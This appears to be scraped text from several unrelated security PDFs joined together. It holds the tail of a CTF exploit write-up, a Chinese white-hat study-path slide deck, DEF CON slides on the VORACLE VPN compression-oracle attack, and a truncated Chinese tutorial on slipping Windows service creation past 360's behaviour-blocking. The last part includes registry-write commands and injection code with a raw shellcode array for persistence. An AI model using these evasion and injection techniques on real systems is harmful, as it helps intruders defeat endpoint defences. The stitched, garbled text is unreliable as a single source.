write64(ret_addr+8, bss); write64(ret_addr+16, system); write64(ret_addr+24, exit); //write64(0x1, 0x0); console.log("Done!"); RE pingpong patch so 中的 sleep 函数后,循环调用其中的 ping,pong 函数 1000000 次即可,核心代码如 下: handle = dlopen ("/data/local/tmp/libpp.so", RTLD_NOW); if (!handle) { LOGI("open lib error"); fprintf (stderr, "%s\n", dlerror()); exit(1); } dlerror(); pf1 ping = (pf1)dlsym(handle, "Java_com_geekerchina_pingpongmachine_MainActivity_ping"); pf1 pong = (pf1)dlsym(handle, "Java_com_geekerchina_pingpongmachine_MainActivity_pong") ; if ((error = dlerror()) != NULL) { LOGI("dlsym lib error"); exit(1); } p = 0; num = 0; i = 1000000; while(i>0){ p = ping(env,NULL,p,num); LOGI("ping: %d",p); num+=1; i--; if(num >=7) num = 0; p = pong(env,NULL,p,num); LOGI("pong: %d",p); // 4500009 num+=1; if(num >=7) num = 0; i--; LOGI("i:--%d",i); } dlclose(handle);
pdf
我的⽩白帽学习路路线 @ringzero 2017/03/25 • 阿⾥里里云 — ⾼高级安全专家 • ⼗十年年信息安全从业经历 • 信息安全领域爱好者 • ⾃自动化安全测试 • 数据挖掘 • 微博:@ringzero 关于我 进⾕谷歌 找记录 没记录 就旁注 没旁注 猜⽬目录 没⽬目录 就嗅探 找后台 穷枚举 传⼩小⻢马 放⼤大⻢马 偷密码 挂⻚页⾯面 提权限 扫内⽹网 啊D-SQL注⼊入 NBSI 明⼩小⼦子 桂林林⽼老老兵 引⽤用 : 《⾃自动化攻击背景下的过去、现在与未来》 — 2014年年 回到⼗十三年年前 — 2004年年的套路路 架设了了⼀一个PHPWind论坛 CentOS 编译安装LAMP环境 DVBBS.NET HACKED DISCUZ.NET HACKED PHPWIND.NET HACKED 不不需要了了解技术原理理的漏漏洞洞年年代 — 2006年年 架设了了⼀一个Discuz论坛 架设了了⼀一个Dvbbs论坛 安全技术学习, 承认⾃自⼰己的弱点不不是丑事。 回炉再造 Know it Then Hack it — 2008年年 只有对原理理了了然于⼼心, 才能突破更更多的限制。 硬件 Hardware 系统 OS ⽹网络 Network 应⽤用 Application 数据 Database ⽹网易易公开课 http://study.163.com/curricula/cs.htm 我的再造学习技能树 总线/存储器器 运算器器 CPU处理理器器 输⼊入输出外设 启动/调⽤用 进程/线程 内存管理理 ⽂文件系统 CPU结构 指令集 寻址⽅方式 硬件 Hardware 系统 OS ⽹网络 Network 应⽤用 Application 数据 Database TCP/IP详解-卷1-视频 密码:nq9t
 https://pan.baidu.com/s/1hqU83u0 我的再造学习技能树 硬件 Hardware 系统 OS ⽹网络 Network 应⽤用 Application 数据 Database CSS / HTML / JavaScript / Flash
 权威指南 我的再造学习技能树 XSS CSRF 跨域 跨站 AJAX DOM 硬件 Hardware 系统 OS ⽹网络 Network 应⽤用 Application 数据 Database 兄弟连 PHP MySQL 开发 视频 后盾⽹网 PHP 开发 视频 Laravel/ThinkPHP/Yii/CodeIgniter MSSQL .NET 开发 视频 中⾕谷教育 Python 视频 (密码: qg22) Django/Flask/Tornado 动⼒力力节点 J2EE 开发视频 (密码: qda8) Servlet/JSP/反射机制 Spring4/Struts2/Hibernate5/MyBatis3 我的再造学习技能树 硬件 Hardware 系统 OS ⽹网络 Network 应⽤用 Application 数据 Database • 内存 • Redis • Memcache • SQL • MySQL • MSSQL • Oracle • PostgreSQL • NoSQL • MongoDB 我的再造学习技能树 重新理理解WEB安全技术 注⼊入漏漏洞洞 • SQL注⼊入 • 命令注⼊入 • 表达式/代码注⼊入 • SSRF⽹网络注⼊入 ⽂文件 • XXE • ⽂文件包含 • 任意⽂文件读取 • 任意⽂文件上传 前端漏漏洞洞 • XSS • CSRF • ClickJacking 逻辑漏漏洞洞 • 穷举遍历 • ⽔水平越权 • 流程乱序 • 数据篡改 • 未授权访问 信息泄露露 • 配置⽂文件 • 测试⽂文件 • 备份⽂文件 • 接⼝口暴暴露露 • ⼼心脏滴⾎血 ⼆二进制漏漏洞洞 • 缓冲区溢出 • 堆/栈溢出 • 内存泄露露 拒绝服务
 暴暴⼒力力破解 PHP+MYSQL+前端 实战开发经验 熟练 Python PHP GoLang C/C++ MySQL MongoDB Redis ElasticSearch 精通SQL查询 开发框架
 分布式开发 正则表达式 回炉后的⾃自动化开发栈 回炉后的⾃自动化开发栈 C/C++ ElasticSearch
 Logstash
 Kibana ELK Stack
 深⼊入浅出 视频 A Tour of Go Go语⾔言圣经中⽂文版 ELK Stack GoLang C++ 开发⼯工程师 (侯捷C++) 猎豹⽹网校(Primer STL+数据结构算法)(密码:y1ie) 回炉后的横向知识栈 汇编ASM Linux内核开发与调试 —张银奎 深⼊入软件调试 —张银奎 调试技术 ⼩小甲⻥鱼汇编语⾔言视频 (密码: 285a) 移动开发 iOS开发⼯工程师 (Objective-C/Swift ⾼高级编程) Android开发⼯工程师(⽹网络/数据存储/应⽤用/项⽬目实战) 知识⾯面,决定看到的攻击⾯面有多⼴广。 知识链,决定发动的杀伤链有多深。 DB • ⼤大学课堂验证校服 • ⽹网络课堂验证密码 • 免费的官⽅方⽂文档 弱⼝口令: 123456,12345678, Abc123456 怎么获取学习资源 伟哥/婷婷 王哥/李李姐 Tony/Kevin 通过展示⾼高收益操作来获取⼈人群的认同, 这是⽆无数⾦金金融家的梦想。 ⼆二进制弹计算器器 脚本⼩小⼦子弹SHELL 定个⼩小⽬目标 前端⼩小⼦子弹框框 – @ringzero 学会如何学习,培养学习习惯,锻造学习⼒力力。 为了了能到远⽅方,脚下的每⼀一步都不不能少。 给个⼩小建议 拥有快速学习能⼒力力的⽩白帽⼦子, 是不不能有短板的。
 有的只是⼤大量量的标准板和⼏几块⻓长板。
pdf
Compression Oracle Attacks on VPN Networks Nafeez
 Defcon 26 About Nafeez - @sketpic_fx Interested in AppSec and writing software Maker @ assetwatch.io, Attacker Surface Discovery as a Service Overview Compression Side Channel and Encryption History of attacks VPNs and how they use compression Demo - Voracle Tool How to find if your "VPN" is vulnerable Way forward Data Compression LZ77 Replace redundant patterns 102 Characters Everything looked dark and bleak, everything looked gloomy, and everything was under a blanket of mist 89 Characters Everything looked dark and bleak, (-34,18)gloomy, and (-54,11)was under a blanket of mist Data Compression Huffman Coding Replace frequent bytes with shorter codes https://en.wikipedia.org/wiki/Huffman_coding Data Compression DEFLATE - LZ77 + Huffman Coding ZLIB, GZIP are well known DEFLATE libraries Compression Side Channel First known research in 2002 The Side Channel Length of encrypted payloads Compression Oracle Chosen Plain Text Attack Brute force the secret byte by byte Force a compression between the chosen byte and the existing bytes in the secret Compression Oracle Cookie: secret=637193 -some-data- Cookie: secret=1 Cookie: secret=637193 -some-data- (-34,15)1 Encrypted Payload Length = 43 Compression Oracle Cookie: secret=637193 -some-data- Cookie: secret=2 Cookie: secret=637193 -some-data- (-34,15)2 Encrypted Payload Length = 43 Compression Oracle Cookie: secret=637193 -some-data- Cookie: secret=3 Cookie: secret=637193 -some-data- (-34,15)3 Encrypted Payload Length = 43 Compression Oracle Cookie: secret=637193 -some-data- Cookie: secret=4 Cookie: secret=637193 -some-data- (-34,15)4 Encrypted Payload Length = 43 Compression Oracle Cookie: secret=637193 -some-data- Cookie: secret=5 Cookie: secret=637193 -some-data- (-34,15)5 Encrypted Payload Length = 43 Compression Oracle Cookie: secret=637193 -some-data- Cookie: secret=6 Cookie: secret=637193 -some-data- (-34,16) Encrypted Payload Length = 42 How can we convert this into an attack using browsers? EkoParty 2012 Back in 2012 Ingredients Attacker on the data path can sniff packet length Browser attaches cookies as part of any cross-domain request Attacker controls HTTP request body You get! Chosen Plain Text attack using browsers TIME Attack 2013 Tal Be'ery, Amichai Shulman Breachattack.com Timing side channel purely via browsers Extending CRIME to HTTP Responses BREACH Attack 2013 Angelo Prado, Neal Harris, Yoel Gluck BreachAttack.com So far CRIME style attacks have been mostly targeted on HTTPS Researchers have possibly explored all possible side channels to efficiently leak sensitive data Lets talk VPNs TLS VPNS IPSEC L2TP/ PPTP TLS VPNs are pretty common these days What do most of these SaaS VPNs have in common? Compression Almost all VPNs support compression by default OpenVPN Client Configuration (*.OVPN) OpenVPN Compression Algorithms LZO LZ4 -LZ77 Family- High level overview Authentication & Key Negotiation (Control Channel) Data Channel Encryption High level overview Authentication & Key Negotiation (Control Channel) Data Channel Compression Data Channel Encryption Compress everything UDP TCP Bi-Directional We have a compress then encrypt on all of data channel CRIME + BREACH on VPN Networks Existing TLS channel are safe Things are safe, if the underlying app layer already uses HTTPS / TLS. Things might go bad, if the VPN is helping you to encrypt already encrypted data Lets see how this attack works on an HTTP website using an encrypted VPN Given a HTTP Website through VPN, Can we leak Sensitive Cookie Data from a Cross-Domain Website? Ingredients • VPN Server and Client has compression turned on by default • VPN User using a vulnerable browser • Visits attacker controlled website Vulnerable Browser? Yes, the browser plays a huge role in how it sends plain HTTP requests. Browser needs to send HTTP requests in single TCP Data Packet Google Chrome splits HTTP packets into Header and Body So we can't get the compression window in the same request Mozilla Firefox sends them all in a single TCP data packet Now we get the compression window in the same request Attack Setup VPN User Attack Setup VPN User Vulnerable Browser Attack Setup VPN User Vulnerable Browser HTTP WebApp Attack Setup VPN User Vulnerable Browser HTTP WebApp Trusted VPN with Compression Attack Setup VPN User Vulnerable Browser HTTP WebApp Trusted VPN with Compression Attack Setup VPN User Vulnerable Browser HTTP WebApp Trusted VPN with Compression Attacker Attack Setup VPN User Vulnerable Browser HTTP WebApp Trusted VPN with Compression Attacker attacker.com Attack Setup VPN User Vulnerable Browser HTTP WebApp Trusted VPN with Compression Attacker attacker.com Passive MITM Attack Setup VPN User Vulnerable Browser HTTP WebApp Trusted VPN with Compression Attacker attacker.com Passive MITM Injected Ads,
 Malicous Blogs,
 etc. Attack Setup VPN User Vulnerable Browser HTTP WebApp Trusted VPN with Compression Attacker attacker.com Passive MITM Injected Ads,
 Malicous Blogs,
 etc. Can Observe VPN Data packet Lengths Attack Setup VPN User Vulnerable Browser HTTP WebApp Trusted VPN with Compression Attacker attacker.com Passive MITM Injected Ads,
 Malicous Blogs,
 etc. Can Observe VPN Data packet Lengths Can Send Cross Domain requests to the HTTP WebApp Attacker can now conduct CRIME Style attacks on HTTP requests and responses Demo Voracle https://github.com/skepticfx/voracle How to tell if your VPN is vulnerable? Ingredients Wireshark Terminal with Curl Connected to your VPN under test Observe VPN Payload Length curl -s -o /dev/null -X POST http://website.com -d "--some-data-- Secret=37346282; --blah-- Secret=1 Secret=1" Length = x Curl and Observe Length curl -s -o /dev/null -X POST http://website.com -d "--some-data-- Secret=37346282; --blah-- Secret=2 Secret=2" Length = x Curl and Observe Length curl -s -o /dev/null -X POST http://website.com -d "--some-data-- Secret=37346282; --blah-- Secret=3 Secret=3" Length = x-1 Curl and Observe Length curl -s -o /dev/null -X POST http://website.com -d "--some-data-- Secret=37346282; --blah-- Secret=1 Secret=1" Length = x Curl and Observe Length Fix? Fixing Compression is an interesting problem Selectively disable Compression - HPACK in HTTP2 Remember when SPDY was vulnerable to CRIME? HPACK selectively disabled header compression for sensitive fields https://http2.github.io/http2-spec/compression.html For VPNs, Disable compression completely for any plain text transactions Turning compression off by default is opinionated. OpenVPN chose to warn the implementors more explicitly to turn off data Compression. https://github.com/OpenVPN/openvpn/commit/a59fd147 turned off compression entirely Its time, everything moves to HTTPS Takeaway If you are using VPNs to access plain text websites over the internet, its time to move them to HTTPs. Most corporates using VPN still allow plain text HTTP websites, because they think VPN protects them. Thank you! @skeptic_fx
pdf
从服务创建拦截看端上主防软件的工作原理和 绕过方法 前言 书接上文,在上一篇中我们详细讲解了服务的工作原理和隐藏方法,但是如果我们的服务根本就无法直 接注册到系统中,那上一节的内容就是白扯。所以怎么能够绕过端上类似于360主动防御类型的软件, 将我们的服务注册进系统,是一个棘手的问题,我们本节就着重研究这个问题,看怎么绕过。 从端上主防软件的工作原理讲起 本文把在客户端上利用行为进行拦截的软件成为端上主防软件,简称为hips,360的主动防御模块就是 典型的端上主防软件。这类软件复杂的会有用户态监控和内态监控,例如crowdstrike的Falcon,简单的 只有内核态监控,例如火绒hips,360的主动防御。 1. 用户态监控一般是inline hook,在第三方程序启动的时候,注入自己的DLL到目标进程中,修改目 标程序中关键函数的前几个字节为jmp指令,跳转到自己的处理函数,记录函数调用的相关的参 数,进行分析后再决定是否要返回到原函数完成工作任务。 2. 内核态监控:windows的64系统内核有patchguard机制之后,不允许驱动程序对内核的关键数据 和代码进行patch了,所以无法实现内核态的inline hook,此时做行为监控,只能用windows提供 的几个回调来实现,主要的监控点如下: PsSetCreateProcessNotifyRoutineEx : 此API允许你注册一个回调函数,当系统中有新的进 程创建或线程创建,就会将相关的数据传给你的回调函数,你可以再自己的回调函数记录这个 行为,以及是否允许这个操作。 CmRegisterCallback:此API注册的回调函数会在注册表发生改动的时候被调用,再回调函数 中可以记录相关的信息,并决定是否允许这个动作发生。 ObRegisterCallbacks:此API可以为系统关键的object操作注册回调,比如打开进程,创建线 程等。 PsSetLoadImageNotifyRoutine: 此API可以为系统的模块加载提供回调,模块包括DLL和 sys。虽然也可以在这个函数中通过patch被加载模块的代码,实现拒绝模块的加载,但是但 是这个行为有死锁风险,在商业软件中并不敢这么用。另外驱动的加载和模块加载有更好的监 控位置,本文不再展开。(吴国感兴趣,以后可以专门写文章介绍)。 Minifilter: windows提供的内核态文件监控和框架,能够拒绝文件操作。 WFP : windows提供的包过滤框架,可以实现网路监控,能够拒绝网络操作。 有了如上的这些内核态的监控点,恶意程序对系统资源的敏感操作就无处遁形,在发生恶意操作时就会 被行为防护模块kill掉。 使用360测试服务创建的拦截 首先要明确端上安全软件的工作逻辑,在运行一个可执行文件时,安全软件的杀毒引擎会先工作,使用 病毒库对文件进行扫描,如果发现是白程序(已知的非恶意程序),就立马放行,如果发现时黑程序(恶 意),就直接禁止执行,如果发现是灰程序(无法判别),那么就会将可执行程序的信息发送给主防模块, 主防对此程序后续的行为进行监控,如果发现恶意就立马终止执行。 我们接下里的测试和讨论都是建立在你的软件是静态免杀的前提下进行的。 首先说明,我并没有对360的驱动和规则引擎进行逆向分析,我下面的结论全部来自我对行为防护软件 上的工作相关经验和个人猜测,可能和真实的拦截规则有偏差,如果有不正确,我们再详细交流。 独立进程的服务 上一节讲了三种注册服务的方法,我们依次进行测试,看360是怎么拦截的,根据拦截的效果我们来分 析360拦截的原因,然后想办法来绕过拦截。 使用sc安装服务 使用命令安装服务是最简单的方式,当然也是行为防护软件最容易拦截的方式: 因为内核中的 PsSetCreateProcessNotifyRoutineEx 回调监控可以直接拿到sc.exe 执行时的命令行, 所以拦截这个操作也仅仅只需要一个正则表达式就可以了。 直接写注册表项 保存为1.reg,然后运行 regedit /s 1.reg : 执行完之后,360并没有什么反应。 sc create FirstService BinPath="C:\ConsoleApplication1\Release\ConsoleApplication1.exe" DisplayName="FirstService" Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecondService] "DisplayNmae"="SecondService" "ErrorControl"=dword:01 "ImagePath"=hex(2):43,00,3a,00,5c,00,55,00,73,00,65,00,72,00,73,00,5c,00,41,00,\ 64,00,6d,00,69,00,6e,00,69,00,73,00,74,00,72,00,61,00,74,00,6f,00,72,00,5c,\ 00,44,00,65,00,73,00,6b,00,74,00,6f,00,70,00,5c,00,43,00,6f,00,6e,00,73,00,\ 6f,00,6c,00,65,00,41,00,70,00,70,00,6c,00,69,00,63,00,61,00,74,00,69,00,6f,\ 00,6e,00,31,00,5c,00,52,00,65,00,6c,00,65,00,61,00,73,00,65,00,5c,00,43,00,\ 6f,00,6e,00,73,00,6f,00,6c,00,65,00,41,00,70,00,70,00,6c,00,69,00,63,00,61,\ 00,74,00,69,00,6f,00,6e,00,31,00,2e,00,65,00,78,00,65,00,00,00 "ObjectName"="LocalSystem" "Sstart"=dword:03 "Type"=dword:0x10 我们以为服务创建成功了,但是其实不然,我们看注册表项,并没有完全写成功。 其实这个行为被360默认给拦截了,我们看一下拦截记录,就能发现写 ImagePath这个键值的时候被 360拦截了: 那我们测试一下,直接打开regedit.exe,通过界面编辑注册表项,手工创建 ImagePath键值,会不会被 拦截呢? 时间 操作 说明 次数 2021-10-29 09:59:16 [自动阻止]  修改 驱动/服务 防护 1 次 详细描述: 注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\SERVICES\SECONDSERVICE\ [ImagePath] 注册表内容: C:\Users\Administrator\Desktop\ConsoleApplication1\Release\ConsoleApplication1.e xe 进程:C:\Windows\regedit.exe 父进程:C:\Windows\System32\cmd.exe , (0) 防护信息: RD|10, 10, -1|| 测试发现,我们手工填写进去并不会被拦截: 同样都是regedit.exe的写注册表行为,为什么一个拦截,一个不拦截呢?这个问题看起来好像有点智 障,如果手工界面操作都被拦截的话,这个行为防护软件还能用吗? 但是问题来了,360怎么知道你是 通过GUI创建的还是通过自动化的方式写进去的呢? 这个问题这里先不解答,我们看完最后一个测试之后统一做解释。 使用API创建服务 代码在上一节有详细的展示,我们直接编译测试吧。 查不到服务是因为我代码直接写了服务隐藏,看到注册表内容就表明了我的服务已经注册进入了系统。 我们发现360并没有进行拦截。 我们通过API创建服务,肯定也是需要写注册表的,但是360为什么不拦截呢? 通过现象看本质 我们在上面的测试中提出了两个问题: 1. 360是怎么区分我是通过界面操作改写的注册表还是通过自动化的调用regedit.exe程序写的注册 表? 2. 通过API创建服务也会改写注册表,为什么不拦截? 第一个问题:(进程链) 第一个问题其实需要去了解hips类型的产品一种常见的跟踪进程行为的方式,叫做进程链规则,本质就 是跟踪整个进程的生命周期的父子进程,然后对父子进程的行为进行评分,最后在关键行为的位置计算 分值,如果超过阈值就拦截 。 我们列一下我们两种情况下的进程链: 1. 使用 regedit.exe /s 1.reg 的进程链如下 2. 使用regedit,exe界面操作的进程链 这两个进程链的关键区别就是 regedit.exe 是否带有 /s 1.reg 参数,为了验证这个猜想,我们需要 做一个实验。就是让进程链跟第一个相同的情况下去写注册表服务的 ImagePath 键值,看是否会被拦 截。 那怎么让 regedit.exe 听我们话,自动帮我们写键值呢?那当然是向此进程中注入一个写注册表的 shellcode了,代码如下: 这段shellcode的作用就是写 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\SERVICES\FirstService\[ImagePath] 为 c:\1.exe ,生成shellcode的代码就贴了,太长了。 + wininit.exe + cmd.exe + regedit.exe /s 1.reg - RegSetValueExA(....) // 关键行为位置,在此处计算分值 + wininit.exe + cmd.exe // 为了控制变量,我们的regedit.exe用cmd.exe启动,跟上面保持一致 + regedit.exe + RegSetValueExA(....) // 关键行为位置,在此处计算分值 //#include "stdafx.h" #include <Windows.h> #include <stdio.h> #include <iostream> #include <string.h> //隐藏运行程序时的cmd窗口 //#pragma comment( linker, "/subsystem:windows /entry:mainCRTStartup" ) using namespace std; #pragma warning(disable : 4996) #include <tlhelp32.h> #include <psapi.h> //使用CS或msf生成的C语言格式的上线shellcode unsigned char hexData[962] = { 0x55, 0x8B, 0xEC, 0x81, 0xEC, 0x90, 0x00, 0x00, 0x00, 0xC7, 0x45, 0x98, 0xB8, 0xF8, 0xFD, 0x0A, 0xC7, 0x45, 0x9C, 0x54, 0xBE, 0x48, 0x01, 0xC7, 0x45, 0x90, 0x35, 0x64, 0x50, 0x3A, 0xC7, 0x45, 0x94, 0xE1, 0xE8, 0x49, 0x59, 0xC7, 0x45, 0x8C, 0x85, 0x57, 0x62, 0xCB, 0xE8, 0x5F, 0x02, 0x00, 0x00, 0x89, 0x45, 0xA4, 0x8B, 0x45, 0x9C, 0x50, 0x8B, 0x4D, 0xA4, 0x51, 0xE8, 0x7F, 0x02, 0x00, 0x00, 0x89, 0x85, 0x78, 0xFF, 0xFF, 0xFF, 0xC6, 0x45, 0xF4, 0x41, 0xC6, 0x45, 0xF5, 0x64, 0xC6, 0x45, 0xF6, 0x76, 0xC6, 0x45, 0xF7, 0x61, 0xC6, 0x45, 0xF8, 0x70, 0xC6, 0x45, 0xF9, 0x69, 0xC6, 0x45, 0xFA, 0x33, 0xC6, 0x45, 0xFB, 0x32, 0xC6, 0x45, 0xFC, 0x00, 0x8D, 0x55, 0xF4, 0x52, 0xFF, 0x95, 0x78, 0xFF, 0xFF, 0xFF, 0x89, 0x45, 0xA8, 0x8B, 0x45, 0x98, 0x50, 0x8B, 0x4D, 0xA4, 0x51, 0xE8, 0x3B, 0x02, 0x00, 0x00, 0x89, 0x85, 0x74, 0xFF, 0xFF, 0xFF, 0x8B, 0x55, 0x94, 0x52, 0x8B, 0x45, 0xA8, 0x50, 0xE8, 0x28, 0x02, 0x00, 0x00, 0x89, 0x45, 0x80, 0x8B, 0x4D, 0x90, 0x51, 0x8B, 0x55, 0xA8, 0x52, 0xE8, 0x18, 0x02, 0x00, 0x00, 0x89, 0x85, 0x7C, 0xFF, 0xFF, 0xFF, 0x8B, 0x45, 0x8C, 0x50, 0x8B, 0x4D, 0xA8, 0x51, 0xE8, 0x05, 0x02, 0x00, 0x00, 0x89, 0x45, 0x84, 0xC6, 0x45, 0xAC, 0x53, 0xC6, 0x45, 0xAD, 0x59, 0xC6, 0x45, 0xAE, 0x53, 0xC6, 0x45, 0xAF, 0x54, 0xC6, 0x45, 0xB0, 0x45, 0xC6, 0x45, 0xB1, 0x4D, 0xC6, 0x45, 0xB2, 0x5C, 0xC6, 0x45, 0xB3, 0x43, 0xC6, 0x45, 0xB4, 0x75, 0xC6, 0x45, 0xB5, 0x72, 0xC6, 0x45, 0xB6, 0x72, 0xC6, 0x45, 0xB7, 0x65, 0xC6, 0x45, 0xB8, 0x6E, 0xC6, 0x45, 0xB9, 0x74, 0xC6, 0x45, 0xBA, 0x43, 0xC6, 0x45, 0xBB, 0x6F, 0xC6, 0x45, 0xBC, 0x6E, 0xC6, 0x45, 0xBD, 0x74, 0xC6, 0x45, 0xBE, 0x72, 0xC6, 0x45, 0xBF, 0x6F, 0xC6, 0x45, 0xC0, 0x6C, 0xC6, 0x45, 0xC1, 0x53, 0xC6, 0x45, 0xC2, 0x65, 0xC6, 0x45, 0xC3, 0x74, 0xC6, 0x45, 0xC4, 0x5C, 0xC6, 0x45, 0xC5, 0x53, 0xC6, 0x45, 0xC6, 0x65, 0xC6, 0x45, 0xC7, 0x72, 0xC6, 0x45, 0xC8, 0x76, 0xC6, 0x45, 0xC9, 0x69, 0xC6, 0x45, 0xCA, 0x63, 0xC6, 0x45, 0xCB, 0x65, 0xC6, 0x45, 0xCC, 0x73, 0xC6, 0x45, 0xCD, 0x5C, 0xC6, 0x45, 0xCE, 0x46, 0xC6, 0x45, 0xCF, 0x69, 0xC6, 0x45, 0xD0, 0x72, 0xC6, 0x45, 0xD1, 0x73, 0xC6, 0x45, 0xD2, 0x74, 0xC6, 0x45, 0xD3, 0x53, 0xC6, 0x45, 0xD4, 0x65, 0xC6, 0x45, 0xD5, 0x72, 0xC6, 0x45, 0xD6, 0x76, 0xC6, 0x45, 0xD7, 0x69, 0xC6, 0x45, 0xD8, 0x63, 0xC6, 0x45, 0xD9, 0x65, 0xC6, 0x45, 0xDA, 0x00, 0x8D, 0x95, 0x70, 0xFF, 0xFF, 0xFF, 0x52, 0x8D, 0x45, 0xA0, 0x50, 0x6A, 0x00, 0x68, 0x3F, 0x00, 0x0F, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0x00, 0x8D, 0x4D, 0xAC, 0x51, 0x68, 0x02, 0x00, 0x00, 0x80, 0xFF, 0x55, 0x80, 0x89, 0x45, 0x88, 0x83, 0x7D, 0x88, 0x00, 0x75, 0x64, 0xC6, 0x45, 0xDC, 0x49, 0xC6, 0x45, 0xDD, 0x6D, 0xC6, 0x45, 0xDE, 0x61, 0xC6, 0x45, 0xDF, 0x67, 0xC6, 0x45, 0xE0, 0x65, 0xC6, 0x45, 0xE1, 0x50, 0xC6, 0x45, 0xE2, 0x61, 0xC6, 0x45, 0xE3, 0x74, 0xC6, 0x45, 0xE4, 0x68, 0xC6, 0x45, 0xE5, 0x00, 0xC6, 0x45, 0xE8, 0x43, 0xC6, 0x45, 0xE9, 0x3A, 0xC6, 0x45, 0xEA, 0x5C, 0xC6, 0x45, 0xEB, 0x31, 0xC6, 0x45, 0xEC, 0x2E, 0xC6, 0x45, 0xED, 0x65, 0xC6, 0x45, 0xEE, 0x78, 0xC6, 0x45, 0xEF, 0x65, 0xC6, 0x45, 0xF0, 0x00, 0x6A, 0x09, 0x8D, 0x55, 0xE8, 0x52, 0x6A, 0x02, 0x6A, 0x00, 0x8D, 0x45, 0xDC, 0x50, 0x8B, 0x4D, 0xA0, 0x51, 0xFF, 0x95, 0x7C, 0xFF, 0xFF, 0xFF, 0x8B, 0x55, 0xA0, 0x52, 0xFF, 0x55, 0x84, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x0C, 0x8B, 0x45, 0x08, 0x89, 0x45, 0xF8, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0xFC, 0xC1, 0xE1, 0x07, 0x2B, 0x4D, 0xFC, 0x89, 0x4D, 0xFC, 0x8B, 0x55, 0xF8, 0x0F, 0xBE, 0x02, 0x03, 0x45, 0xFC, 0x89, 0x45, 0xFC, 0x8B, 0x4D, 0xF8, 0x0F, 0xBE, 0x11, 0x89, 0x55, 0xF4, 0x8B, 0x45, 0xF8, 0x83, 0xC0, 0x01, 0x89, 0x45, 0xF8, 0x83, 0x7D, 0xF4, 0x00, 0x75, 0xD0, 0x8B, 0x45, 0xFC, 0x8B, 0xE5, 0x5D, 0xC2, 0x04, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x8B, 0x45, 0x0C, 0x50, 0xE8, 0xA4, 0xFF, 0xFF, 0xFF, 0x39, 0x45, 0x08, 0x75, 0x02, 0x33, 0xC0, 0x5D, 0xC2, 0x08, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x51, 0xC7, 0x45, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x64, 0xA1, 0x18, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x0C, 0x8B, 0x00, 0x8B, 0x00, 0x8B, 0x40, 0x18, 0x89, 0x45, 0xFC, 0x8B, 0x45, 0xFC, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x34, 0xC7, 0x45, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x8B, 0x45, 0x08, 0x89, 0x45, 0xEC, 0x8B, 0x4D, 0xEC, 0x8B, 0x55, 0xEC, 0x03, 0x51, 0x3C, 0x89, 0x55, 0xE4, 0xB8, 0x08, 0x00, 0x00, 0x00, 0x6B, 0xC8, 0x00, 0x8B, 0x55, 0xE4, 0x8B, 0x45, 0xEC, 0x03, 0x44, 0x0A, 0x78, 0x89, 0x45, 0xF4, 0x8B, 0x4D, 0xF4, 0x8B, 0x55, 0x08, 0x03, 0x51, 0x1C, 0x89, 0x55, 0xE8, 0x8B, 0x45, 0xF4, 0x8B, 0x4D, 0x08, 0x03, 0x48, 0x20, 0x89, 0x4D, 0xDC, 0x8B, 0x55, 0xF4, 0x8B, 0x45, 0x08, 0x03, 0x42, 0x24, 0x89, 0x45, 0xD0, 0x8B, 0x4D, 0x0C, 0x81, 0xE1, 0x00, 0x00, 0xFF, 0xFF, 0x74, 0x7C, 0x8B, 0x55, 0xF4, 0x8B, 0x42, 0x18, 0x89, 0x45, 0xE0, 0xC7, 0x45, 0xF8, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x09, 0x8B, 0x4D, 0xF8, 0x83, 0xC1, 0x01, 0x89, 0x4D, 0xF8, 0x8B, 0x55, 0xF8, 0x3B, 0x55, 0xE0, 0x73, 0x50, 0x0F, 0xAE, 0xE8, 0x8B, 0x45, 0xF8, 0x8B, 0x4D, 0xDC, 0x8B, 0x55, 0x08, 0x03, 0x14, 0x81, 0x89, 0x55, 0xD8, 0x8B, 0x45, 0xD8, 0x50, 0x8B, 0x4D, 0x0C, 0x51, 0xE8, 0x0B, 0xFF, 0xFF, 0xFF, 0x89, 0x45, 0xD4, 0x83, 0x7D, 0xD4, 0x00, 0x75, 0x26, 0x0F, 0xAE, 0xE8, 0x8B, 0x55, 0xF8, 0x8B, 0x45, 0xD0, 0x66, 0x8B, 0x0C, 0x50, 0x66, 0x89, 0x4D, 0xFC, 0x0F, 0xB7, 0x55, 0xFC, 0x8B, 0x45, 0xE8, 0x8B, 0x4D, 0x08, 0x03, 0x0C, 0x90, 0x89, 0x4D, 0xF0, 0x8B, 0x45, 0xF0, 0xEB, 0x29, 0xEB, 0x9F, 0xC7, 0x45, 0xF0, 0x00, 0x00, 0x00, 0x00, 0xEB, 0x1B, 0x8B, 0x55, 0xF4, 0x8B, 0x45, 0x0C, 0x2B, 0x42, 0x10, 0x89, 0x45, 0xCC, 0x8B, 0x4D, 0xCC, 0x8B, 0x55, 0xE8, 0x8B, 0x45, 0x08, 0x03, 0x04, 0x8A, 0x89, 0x45, 0xF0, 0x8B, 0x45, 0xF0, 0x8B, 0xE5, 0x5D, 0xC2, 0x08 }; DWORD GetProcessImageName(LPWSTR ImageName, DWORD dwSize) { HANDLE         hSnap; PROCESSENTRY32 pe32; DWORD           pid = 0; // create snapshot of system hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnap == INVALID_HANDLE_VALUE) return 0; pe32.dwSize = 